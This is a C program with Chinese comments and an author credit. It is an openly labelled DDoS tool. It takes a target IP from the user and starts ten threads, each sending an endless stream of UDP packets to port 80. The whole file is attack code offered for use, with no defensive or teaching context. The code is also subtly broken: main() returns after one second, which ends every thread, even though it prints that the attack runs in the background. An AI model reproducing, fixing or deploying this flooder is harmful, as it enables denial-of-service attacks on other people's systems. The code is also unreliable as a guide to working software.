#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <pthread.h>

#define NUM_THREADS 10 // 设置线程数

void *ddos_thread(void *arg) {
    const char *target_ip = (const char *)arg;
    int target_port = 80; // 这里设置目标端口号
    int sockfd;
    struct sockaddr_in target_addr;

    // 创建套接字
    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sockfd < 0) {
        perror("创建套接字错误");
        exit(EXIT_FAILURE);
    }

    // 填写目标地址信息
    memset(&target_addr, 0, sizeof(target_addr));
    target_addr.sin_family = AF_INET;
    target_addr.sin_port = htons(target_port);
    if (inet_aton(target_ip, &target_addr.sin_addr) == 0) {
        fprintf(stderr, "无效的目标IP地址\n");
        close(sockfd);
        exit(EXIT_FAILURE);
    }

    // 发送数据包
    while (1) {
        if (sendto(sockfd, "Hello", 5, 0, (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
            perror("发送数据包错误");
        }
        usleep(10000); // 休眠10毫秒
    }

    close(sockfd);
    return NULL;
}

int main() {
    char target_ip[16];
    pthread_t threads[NUM_THREADS];
    int i;

    // 获取用户输入的目标IP
    printf("请输入目标IP地址：");
    scanf("%15s", target_ip);

    // 创建多个线程并启动攻击
    for (i = 0; i < NUM_THREADS; i++) {
        if (pthread_create(&threads[i], NULL, ddos_thread, (void *)target_ip) != 0) {
            perror("创建线程失败");
            exit(EXIT_FAILURE);
        } else {
            printf("线程 %d 启动成功\n", i);
        }
    }

    // 显示提示信息
    printf("正在后台运行攻击，请勿关闭程序...\n");

    // 让主线程等待一段时间，然后退出
    sleep(1);

    return 0;
}

// 创作: sansjtw 金条k sansjtw.xyz